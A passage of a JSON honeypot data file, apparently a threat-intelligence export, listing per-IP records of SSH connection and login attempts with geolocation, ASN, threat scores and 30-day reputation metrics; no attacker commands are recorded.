        "b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f172.105.186.117\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 66.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.0,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 23,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T05:18:37+00:00",
        "last_seen_30d": "2026-05-28T19:29:21.602000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55,
        "Honeytrap": 37,
        "Cowrie": 7
      }
    },
    "185.255.100.236": {
      "attack_count": 6,
      "first_seen": "2026-05-30T16:49:45.660Z",
      "last_seen": "2026-05-30T16:49:52.579Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T16:49:45.660000+00:00",
        "last_seen_30d": "2026-05-30T16:50:58.261000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "194.59.183.226": {
      "attack_count": 6,
      "first_seen": "2026-05-11T19:29:07.749Z",
      "last_seen": "2026-05-11T19:29:10.657Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Limburg an der Lahn",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T19:29:07.749000+00:00",
        "last_seen_30d": "2026-05-11T19:30:12.170000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "201.238.35.102": {
      "attack_count": 6,
      "first_seen": "2026-05-22T06:31:53.573Z",
      "last_seen": "2026-05-22T08:21:53.164Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T06:31:53.573000+00:00",
        "last_seen_30d": "2026-05-22T08:22:57.035000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "99.192.162.179": {
      "attack_count": 6,
      "first_seen": "2026-05-08T05:26:45.632Z",
      "last_seen": "2026-05-08T05:26:47.653Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 27589,
      "as_org": "MOJOHOST",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:26:45.632000+00:00",
        "last_seen_30d": "2026-05-08T05:27:49.987000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "14.103.127.242": {
      "attack_count": 5,
      "first_seen": "2026-05-29T22:37:30.373Z",
      "last_seen": "2026-05-29T22:37:33.166Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "omm"
      ],
      "passwords_attempted": [
        "123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T22:37:30.373000+00:00",
        "last_seen_30d": "2026-05-29T22:38:41.053000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "217.160.227.243": {
      "attack_count": 5,
      "first_seen": "2026-05-13T00:56:55.887Z",
      "last_seen": "2026-05-13T00:57:57.827Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T00:56:55.887000+00:00",
        "last_seen_30d": "2026-05-13T01:00:28.557000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 5
      }
    },
    "104.220.207.41": {
      "attack_count": 4,
      "first_seen": "2026-05-03T10:08:06.208Z",
      "last_seen": "2026-05-03T10:12:15.531Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Woodland",
      "asn": 11404,
      "as_org": "Wave Broadband",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T10:08:00.140000+00:00",
        "last_seen_30d": "2026-05-05T02:47:14.894000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 4
      }
    },
    "120.28.200.112": {
      "attack_count": 4,
      "first_seen": "2026-05-23T05:42:31.085Z",
      "last_seen": "2026-05-23T12:42:04.395Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Davao City",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:42:31.085000+00:00",
        "last_seen_30d": "2026-05-23T12:43:08.737000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "165.245.246.63": {
      "attack_count": 4,
      "first_seen": "2026-05-27T02:40:44.459Z",
      "last_seen": "2026-05-27T02:40:45.056Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 52.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.2,
        "persistence": 5.0,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 6,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-26T06:22:31+00:00",
        "last_seen_30d": "2026-05-31T19:44:16.448000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 9,
        "Cowrie": 4,
        "Tanner": 1
      }
    },
    "205.210.31.14": {
      "attack_count": 4,
      "first_seen": "2026-05-25T04:04:06.229Z",
      "last_seen": "2026-05-25T04:04:09.797Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 43.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 16.7,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 20,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T03:34:46.671000+00:00",
        "last_seen_30d": "2026-05-25T05:53:02.838000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "91.230.168.238": {
      "attack_count": 4,
      "first_seen": "2026-05-19T21:57:11.537Z",
      "last_seen": "2026-05-19T21:57:12.503Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 77.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 29,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T01:28:50.645000+00:00",
        "last_seen_30d": "2026-05-30T01:29:04.579000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 101,
        "Honeytrap": 29,
        "Cowrie": 4
      }
    },
    "102.142.29.111": {
      "attack_count": 2,
      "first_seen": "2026-05-18T11:15:18.837Z",
      "last_seen": "2026-05-18T11:15:31.541Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Gabon",
      "country_code": "GA",
      "city": "Port-Gentil",
      "asn": 36924,
      "as_org": "GVA-Canalbox",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T11:15:18.837000+00:00",
        "last_seen_30d": "2026-05-18T11:16:39.559000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "102.219.27.151": {
      "attack_count": 2,
      "first_seen": "2026-05-06T20:02:48.520Z",
      "last_seen": "2026-05-06T20:03:02.695Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 11845,
      "as_org": "Vox-Telecom",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T20:02:48.520000+00:00",
        "last_seen_30d": "2026-05-06T20:04:10.981000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.166.47.251": {
      "attack_count": 2,
      "first_seen": "2026-05-21T06:13:51.346Z",
      "last_seen": "2026-05-21T06:15:51.347Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 132294,
      "as_org": "Elenga Dot Net",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:13:51.346000+00:00",
        "last_seen_30d": "2026-05-21T06:26:46.028000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "109.168.78.91": {
      "attack_count": 2,
      "first_seen": "2026-05-25T05:38:13.328Z",
      "last_seen": "2026-05-25T05:38:27.010Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Pordenone",
      "asn": 5602,
      "as_org": "Retelit Digital Services S.p.A.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T05:38:13.328000+00:00",
        "last_seen_30d": "2026-05-25T05:39:35.666000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.221.28.106": {
      "attack_count": 2,
      "first_seen": "2026-05-22T13:40:10.076Z",
      "last_seen": "2026-05-22T13:40:45.866Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T13:40:10.076000+00:00",
        "last_seen_30d": "2026-05-22T13:41:53.838000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.210.50.57": {
      "attack_count": 2,
      "first_seen": "2026-05-17T14:19:47.829Z",
      "last_seen": "2026-05-17T14:20:00.146Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T14:19:47.829000+00:00",
        "last_seen_30d": "2026-05-17T14:21:01.249000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.229.242.215": {
      "attack_count": 2,
      "first_seen": "2026-05-07T23:10:29.551Z",
      "last_seen": "2026-05-07T23:10:42.151Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T23:10:29.551000+00:00",
        "last_seen_30d": "2026-05-07T23:11:48.927000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.175.140.121": {
      "attack_count": 2,
      "first_seen": "2026-05-06T22:22:52.501Z",
      "last_seen": "2026-05-06T22:22:52.707Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T22:22:52.501000+00:00",
        "last_seen_30d": "2026-05-06T22:23:55.363000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "122.7.8.197": {
      "attack_count": 2,
      "first_seen": "2026-05-23T09:07:15.339Z",
      "last_seen": "2026-05-23T09:07:28.805Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:07:15.339000+00:00",
        "last_seen_30d": "2026-05-23T09:08:33.196000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.96.165.97": {
      "attack_count": 2,
      "first_seen": "2026-05-08T22:31:54.076Z",
      "last_seen": "2026-05-08T22:32:07.212Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T22:31:54.076000+00:00",
        "last_seen_30d": "2026-05-08T22:33:11.822000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.221.236.23": {
      "attack_count": 2,
      "first_seen": "2026-05-05T17:07:30.728Z",
      "last_seen": "2026-05-05T17:07:43.075Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ouricuri",
      "asn": 264439,
      "as_org": "OuriNet TELECOM",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T17:07:30.728000+00:00",
        "last_seen_30d": "2026-05-05T17:08:46.390000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.36.27.10": {
      "attack_count": 2,
      "first_seen": "2026-05-02T08:03:06.291Z",
      "last_seen": "2026-05-02T08:03:19.392Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 271804,
      "as_org": "CABLEMAX C.X.A",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:03:06.291000+00:00",
        "last_seen_30d": "2026-05-02T08:04:20.825000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.114.229.173": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:07:57.729Z",
      "last_seen": "2026-05-23T01:08:56.668Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:07:57.729000+00:00",
        "last_seen_30d": "2026-05-23T01:10:01.761000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.0.107.37": {
      "attack_count": 2,
      "first_seen": "2026-05-08T08:09:09.385Z",
      "last_seen": "2026-05-08T08:09:22.669Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:09:09.385000+00:00",
        "last_seen_30d": "2026-05-08T08:10:28.045000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.10.50.121": {
      "attack_count": 2,
      "first_seen": "2026-05-22T17:11:58.551Z",
      "last_seen": "2026-05-22T17:12:23.035Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:11:58.551000+00:00",
        "last_seen_30d": "2026-05-22T17:13:28.967000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.228.98.0": {
      "attack_count": 2,
      "first_seen": "2026-05-09T21:11:13.557Z",
      "last_seen": "2026-05-09T21:11:26.719Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Culiac\u00e1n",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T21:11:13.557000+00:00",
        "last_seen_30d": "2026-05-09T21:12:31.038000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
